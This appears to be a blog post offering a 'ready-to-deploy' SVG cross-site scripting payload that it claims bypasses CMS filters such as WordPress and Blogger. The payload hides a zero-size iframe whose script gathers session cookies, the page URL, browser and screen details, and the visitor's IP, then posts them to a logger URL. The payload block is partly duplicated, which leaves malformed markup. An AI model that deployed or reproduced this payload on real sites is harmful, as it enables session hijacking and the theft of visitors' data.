🚀 Elite SVG-XSS Exploit Demonstration 🚀
💡 Powerful SVG Injection Proof-of-Concept
This page demonstrates an advanced SVG-based Cross-Site Scripting (XSS) exploit capable of bypassing common CMS security measures like those found in WordPress, Blogger, and others. Upon execution, it collects detailed session data, visually confirms success, and logs results clearly.
🔥 Ready-to-Deploy SVG Payload:
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<foreignObject width="1" height="1">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe style="opacity:0;width:0;height:0;border:none;" srcdoc="<script>(async()=>{const data={cookies:document.cookie,location:location.href,userAgent:navigator.userAgent,platform:navigator.platform,timezone:Intl.DateTimeFormat().resolvedOptions().timeZone,screen:{width:screen.width,height:screen.height},timestamp:new Date().toISOString()};try{const ip=await fetch('https://api.ipify.org?format=json').then(res=>res.json());data.ip=ip.ip}catch(e){data.ip='Unknown'}console.group('🎯 Real-World Data Exfiltration PoC');console.table(data);console.groupEnd();fetch('https://example.com/logger',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)});const banner=document.createElement('div');banner.innerText='✅ SVG-XSS Executed. Data exfiltrated.';banner.style='position:fixed;top:10px;left:50%;transform:translateX(-50%);background:#00ffae;padding:10px 20px;color:#000;border-radius:8px;font-family:sans-serif;z-index:9999;font-weight:bold;';document.body.appendChild(banner);})();</script>"></iframe>
</body>
</foreignObject>
</svg>
<foreignObject width="1" height="1">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe style="opacity:0;width:0;height:0;border:none;" srcdoc="<script>(async()=>{const data={cookies:document.cookie,location:location.href,userAgent:navigator.userAgent,platform:navigator.platform,timezone:Intl.DateTimeFormat().resolvedOptions().timeZone,screen:{width:screen.width,height:screen.height},timestamp:new Date().toISOString()};try{const ip=await fetch('https://api.ipify.org?format=json').then(res=>res.json());data.ip=ip.ip}catch(e){data.ip='Unknown'}console.group('🎯 Real-World Data Exfiltration PoC');console.table(data);console.groupEnd();fetch('https://example.com/logger',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)});const banner=document.createElement('div');banner.innerText='✅ SVG-XSS Executed. Data exfiltrated.';banner.style='position:fixed;top:10px;left:50%;transform:translateX(-50%);background:#00ffae;padding:10px 20px;color:#000;border-radius:8px;font-family:sans-serif;z-index:9999;font-weight:bold;';document.body.appendChild(banner);})();</script>"></iframe>
</body>
</foreignObject>
</svg>
Comments
Post a Comment